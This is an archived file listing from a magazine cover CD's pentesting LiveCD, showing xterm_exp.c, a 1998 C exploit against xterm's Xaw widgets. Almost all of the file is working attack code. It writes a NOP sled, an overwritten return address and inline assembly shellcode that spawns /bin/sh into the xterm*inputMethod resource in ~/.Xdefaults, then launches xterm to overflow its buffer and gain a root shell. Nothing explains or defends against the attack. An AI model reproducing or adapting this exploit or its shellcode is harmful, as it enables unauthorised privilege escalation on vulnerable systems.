home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
xwin
/
xterm.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
2KB
|
114 lines
/*
xterm_exp.c : linux/x86 xterm.Xaw exploit
by alcuin - 5/4/98 -
It works against both Xaw and neXtaw widgets
NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to
use xterm again.
*/
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
unsigned int getsp()
{
asm("mov %esp,%eax");
}
inline rootshell()
{
__asm__(
"movb $0x56, %al\n\t"
"l1:cmpb $0x12, %al\n\t"
"je l2\n\t"
"movb $0x12,%al\n\t"
"call l1\n\t"
"l2:pop %esi\n\t"
"xorl %eax,%eax\n\t"
"movb $0x25, %al\n\t"
"addl %eax,%esi\n\t"
"movl %esi,%ebx\n\t"
"movl %esi,%edi\n\t"
"movb $8,%al\n\t"
"addl %eax,%edi\n\t"
"movb $5,%al\n\t"
"addl %eax,%esi\n\t"
"movl %esi,(%edi)\n\t"
"movl %edi,%ecx\n\t"
"incl %edi\n\t"
"incl %edi\n\t"
"incl %edi\n\t"
"incl %edi\n\t"
"xorb %al,%al\n\t"
"movl %eax,(%edi)\n\t"
"movl %edi,%edx\n\t"
"movb $0xb,%al\n\t"
"int $0x80\n\t"
".string \"/bin/sh\"\n"
);
}
#define CONFFILE ".Xdefaults"
#define OLDFILE ".Xdefaults.old"
#define NEWFILE ".Xdefaults.new"
main (int argc, char **argv)
{
char *home;
FILE *f_in, *f_out;
char buf[16384];
char shellbuf[16384];
char *s;
int i;
unsigned int sp=getsp();
if (home = getenv("HOME")) chdir(home);
if (!(f_out = fopen(NEWFILE, "w")))
{
perror("fopen");
exit(1);
}
if (f_in = fopen(CONFFILE, "r"))
{
fseek(f_in,0,SEEK_SET);
while (!feof(f_in))
{
fgets(buf,16384,f_in);
for (s=buf;isblank(*s);s++);
if (strncmp(s,"xterm*inputMethod",17)<0)
fputs(buf,f_out);
}
fclose(f_in);
}
/* fill the buffer with nops */
memset(shellbuf, 0x90, sizeof(shellbuf));
shellbuf[sizeof(shellbuf)-1] = 0;
/* write the return adress */
s = shellbuf+2052;
*(int *)s=sp+0x69F5;
/* write the root shell code */
s = shellbuf+2800;
strcpy(s,(char*)rootshell);
fputs("xterm*inputMethod:",f_out);
fputs(shellbuf, f_out);
fclose(f_out);
system("/bin/cp "CONFFILE" "OLDFILE);
system("/bin/mv -f "NEWFILE" "CONFFILE);
execl("/usr/X11R6/bin/xterm","xterm",NULL);
}
/* www.hack.co.za [2000]*/